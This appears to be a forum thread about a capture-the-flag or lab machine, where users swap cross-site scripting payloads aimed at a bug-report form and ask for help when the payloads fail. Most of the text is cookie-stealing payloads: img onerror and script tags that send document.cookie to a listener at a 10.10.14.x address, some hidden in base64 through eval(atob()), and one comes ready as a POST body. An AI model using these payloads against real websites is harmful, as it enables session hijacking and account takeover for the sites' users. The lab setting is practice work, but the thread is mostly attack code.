[osamy7593]

cookie from report_bugs via img tag xss

<img src=x onerror="location.href='10.10.14.8:8888/?c='+ document.cookie">
<script>var i=new Image(); i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</script>
<script>var i=new Image();i.src="http://10.10.14.8:8888/?c="+document.cookie</script>

dont work for me, and I tried with CSP bypass:

worked ? .............................................................

[theunknownbliss]

Anything with priv esc? Got nothing with linpeas or manual enumeration

[ox9Days]

<img src=x onerror="eval(atob('')">

works
payload is regular fetch with document cookie in url

tried multiple payloads, none of them work, is there anything we need to do before submitting the bug report with the paylond in it? which parameter is affected? 
i tried in both params these payloads and none worked...:
<img src=x onerror=eval(atob(this.id)) id=ZmV0Y2goJ2h0dHA6Ly8xMC4xMC4xNC44Ni8/Y29va2llPScrZG9jdW1lbnQuY29va2llKQo=>
<img src="fetch('http://10.10.14.86:80/?cookie='+document.cookie); " onerror="xss(1)">
<img src=x onerror="eval(fetch('http://10.10.14.86:80/?cookie='+document.cookie))">
<img src="non-existing-image.png" onerror="fetch('http://10.10.14.86/?cookie='+document.cookie);" />
<img src=https://github.com/favicon.ico width=0 height=0 onload=this.src='http://10.10.14.86/?'+document.cookie>

[asdfmonster]

"payload is regular fetch with document cookie in url "

I do not understand.

Like this?

<img src=x onerror="eval(atob('fetch('http://SERVER/?cookie='+document.cookie)')"> but in b64 payload?

[xxxbfacc]

Ok. I'm taking a break for a bit. But I'll leave this tidbit.
You need to steal more than one cookie...

[asdfmonster]

report_title=xxx&description=<img src=x onerror=eval(atob('ZmV0Y2goJ2h0dHA6Ly9TRVJWRVI/Y29va2llPScrZG9jdW1lbnQuY29va2llKQ=='))>

Like this?? I cannot get it to work.

[osamy7593]

anyone help us xss not work why

[asdfmonster]

Yeah I am really confused. Seems pretty straight forward. Just modifying the:
"POST /report_bug
report_title=xxx&description=xxx"
correct? It redirects and I see nothing in my server.

[xxxbfacc]

pdf generator seems rabbit holey.
But I'm probably just missing something...

[osamy7593]

pdf generator seems rabbit holey.
But I'm probably just missing something...

bro what payload for xss